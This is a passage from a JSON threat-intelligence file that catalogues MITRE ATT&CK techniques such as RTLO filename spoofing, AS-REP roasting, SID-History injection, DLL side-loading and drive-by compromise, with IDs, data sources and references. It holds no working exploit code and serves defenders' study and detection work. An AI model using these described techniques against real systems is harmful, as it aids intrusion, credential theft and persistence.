"mitre_data_sources": [
"File: File Creation",
"File: File Metadata"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1553/005",
"https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8",
"https://medium.com/swlh/investigating-the-use-of-vhd-files-by-cybercriminals-3f1f08304316",
"https://outflank.nl/blog/2020/03/30/mark-of-the-web-from-a-red-teams-perspective/",
"https://www.intezer.com/blog/research/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/"
]
},
"related": [
{
"dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7",
"type": "subtechnique-of"
}
],
"uuid": "7e7c2fba-7cca-486c-9582-4c1bb2851961",
"value": "Mark-of-the-Web Bypass - T1553.005"
},
{
"description": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.",
"meta": {
"external_id": "T1036.002",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Metadata"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1036/002",
"https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/",
"https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/",
"https://securelist.com/zero-day-vulnerability-in-telegram/83800/"
]
},
"related": [
{
"dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
"type": "subtechnique-of"
}
],
"uuid": "77eae145-55db-4519-8ae5-77b0c7215d69",
"value": "Right-to-Left Override - T1036.002"
},
{
"description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)\n\nIn the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s WAN. Protocols such as ICMP may be used as a transport.",
"meta": {
"external_id": "T1090.003",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1090/003",
"https://en.wikipedia.org/wiki/Onion_routing"
]
},
"related": [
{
"dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
"type": "subtechnique-of"
}
],
"uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d",
"value": "Multi-hop Proxy - T1090.003"
},
{
"description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.",
"meta": {
"external_id": "T1102.003",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1102/003"
]
},
"related": [
{
"dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
"type": "subtechnique-of"
}
],
"uuid": "9c99724c-a483-4d60-ad9d-7f004e42e8e8",
"value": "One-Way Communication - T1102.003"
},
{
"description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including inserting malicious script into web pages or other user controllable web content such as forum posts. Adversaries may also craft malicious web advertisements and purchase ad space on a website through legitimate ad providers. In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
"meta": {
"external_id": "T1608.004",
"kill_chain": [
"mitre-attack:resource-development"
],
"mitre_data_sources": [
"Internet Scan: Response Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/",
"https://attack.mitre.org/techniques/T1608/004",
"https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
"https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
]
},
"related": [
{
"dest-uuid": "84771bc3-f6a0-403e-b144-01af70e5fda0",
"type": "subtechnique-of"
}
],
"uuid": "31fe0ba2-62fd-4fd9-9293-4043d84f7fe9",
"value": "Drive-by Target - T1608.004"
},
{
"description": "Adversaries may encode data with a non-standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a non-standard data encoding system that diverges from existing protocol specifications. Non-standard data encoding schemes may be based on or related to standard data encoding schemes, such as a modified Base64 encoding for the message body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) ",
"meta": {
"external_id": "T1132.002",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1132/002",
"https://en.wikipedia.org/wiki/Binary-to-text_encoding",
"https://en.wikipedia.org/wiki/Character_encoding"
]
},
"related": [
{
"dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
"type": "subtechnique-of"
}
],
"uuid": "d467bc38-284b-4a00-96ac-125f447799fc",
"value": "Non-Standard Encoding - T1132.002"
},
{
"description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).",
"meta": {
"external_id": "T1134.005",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Modification",
"Process: OS API Execution",
"User Account: User Account Metadata"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://adsecurity.org/?p=1772",
"https://attack.mitre.org/techniques/T1134/005",
"https://msdn.microsoft.com/library/ms677982.aspx",
"https://msdn.microsoft.com/library/ms679833.aspx",
"https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx",
"https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems",
"https://technet.microsoft.com/library/ee617241.aspx"
]
},
"related": [
{
"dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48",
"type": "subtechnique-of"
}
],
"uuid": "b7dc639b-24cd-482d-a7f1-8897eda21023",
"value": "SID-History Injection - T1134.005"
},
{
"description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)",
"meta": {
"external_id": "CAPEC-641",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Modification",
"Module: Module Load",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1574/002",
"https://capec.mitre.org/data/definitions/641.html",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf"
]
},
"related": [
{
"dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
"type": "subtechnique-of"
}
],
"uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
"value": "DLL Side-Loading - T1574.002"
},
{
"description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
"meta": {
"external_id": "T1558.004",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Active Directory: Active Directory Credential Request"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/",
"https://adsecurity.org/?p=2293",
"https://attack.mitre.org/techniques/T1558/004",
"https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/",
"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768",
"https://redsiege.com/kerberoast-slides",
"https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx"
]
},
"related": [
{
"dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a",
"type": "subtechnique-of"
}
],
"uuid": "3986e7fd-a8e9-4ecb-bfc6-55920855912b",
"value": "AS-REP Roasting - T1558.004"
},
{
"description": "Adversaries may modify plist files to automatically run an application when a user logs in. Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user logs into their machine after reboot. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).",
"meta": {
"external_id": "T1547.007",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Modification"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1547/007",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "e5cc9e7a-e61a-46a1-b869-55fb6eab058e",
"value": "Re-opened Applications - T1547.007"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1346).\n\nA payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)",
"meta": {
"external_id": "T1346",
"kill_chain": [
"mitre-pre-attack:build-capabilities"
],
"refs": [
"https://attack.mitre.org/techniques/T1346"
]
},
"uuid": "27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768",
"value": "Obtain/re-use payloads - T1346"
},
{
"description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.",
"meta": {
"external_id": "T1104",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1104"
]
},
"uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91",
"value": "Multi-Stage Channels - T1104"
},
{
"description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.",
"meta": {
"external_id": "CAPEC-641",
"refs": [
"https://attack.mitre.org/techniques/T1073",
"https://capec.mitre.org/data/definitions/641.html",
"https://msdn.microsoft.com/en-us/library/aa375365",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf"
]
},
"related": [
{
"dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "b2001907-166b-4d71-bb3c-9d26c871de09",
"value": "DLL Side-Loading - T1073"
},
{
"description": "Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java’s `Runtime` package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken.\n\nIf the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.",
"meta": {
"external_id": "T1605",
"kill_chain": [
"mitre-mobile-attack:execution"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1605"
]
},
"related": [],
"uuid": "e083305c-49e7-4c87-aae8-9689213bffbe",
"value": "Command-Line Interface - T1605"
},
{
"description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).",
"meta": {
"external_id": "T1164",
"refs": [
"https://attack.mitre.org/techniques/T1164",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "e5cc9e7a-e61a-46a1-b869-55fb6eab058e",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300",
"value": "Re-opened Applications - T1164"
},
{
"description": "Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.",
"meta": {
"external_id": "T1571",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1571",
"https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html",
"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage"
]
},
"uuid": "b18eae87-b469-4e14-b454-b171b416bc18",
"value": "Non-Standard Port - T1571"
},
{
"description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).",
"meta": {
"external_id": "T1178",
"refs": [
"https://adsecurity.org/?p=1772",
"https://attack.mitre.org/techniques/T1178",
"https://msdn.microsoft.com/library/ms677982.aspx",
"https://msdn.microsoft.com/library/ms679833.aspx",
"https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx",
"https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems",
"https://technet.microsoft.com/library/ee617241.aspx"
]
},
"related": [
{
"dest-uuid": "b7dc639b-24cd-482d-a7f1-8897eda21023",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d",
"value": "SID-History Injection - T1178"
},
{
"description": "To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.",
"meta": {
"external_id": "T1188",
"refs": [
"https://attack.mitre.org/techniques/T1188"
]
},
"related": [
{
"dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "7d751199-05fa-4a72-920f-85df4506c76c",
"value": "Multi-hop Proxy - T1188"
},
{
"description": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring [Application Access Token](https://attack.mitre.org/techniques/T1550/001).\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.(Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.\n\nAdversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.(Citation: Volexity OceanLotus Nov 2017)",
"meta": {
"external_id": "T1189",
"kill_chain": [
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"File: File Creation",
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS",
"SaaS"
],
"refs": [
"http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/",
"https://attack.mitre.org/techniques/T1189",
"https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
]
},
"uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6",
"value": "Drive-by Compromise - T1189"
},
{
"description": "Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting)\n\nAdversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses.",
"meta": {
"external_id": "T1542",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"Drive: Drive Modification",
"Driver: Driver Metadata",
"Firmware: Firmware Modification",
"Network Traffic: Network Connection Creation",
"Process: OS API Execution"
],
"mitre_platforms": [
"Linux",
"Windows",
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1542",
"https://en.wikipedia.org/wiki/Booting",
"https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
]
},
"uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e",
"value": "Pre-OS Boot - T1542"
},
{
"description": "As described by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\n(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)",
"meta": {
"external_id": "CEL-22",
"kill_chain": [
"mitre-mobile-attack:initial-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1456",
"https://blog.zimperium.com/experts-found-a-unicorn-in-the-heart-of-android/",
"https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-22.html"
]
},
"uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57",
"value": "Drive-by Compromise - T1456"
},
{
"description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)",
"meta": {
"external_id": "T1559",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_data_sources": [
"Module: Module Load",
"Process: Process Creation",
"Script: Script Execution"
],
"mitre_platforms": [
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1559",
"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
]
},
"uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d",
"value": "Inter-Process Communication - T1559"
},
{
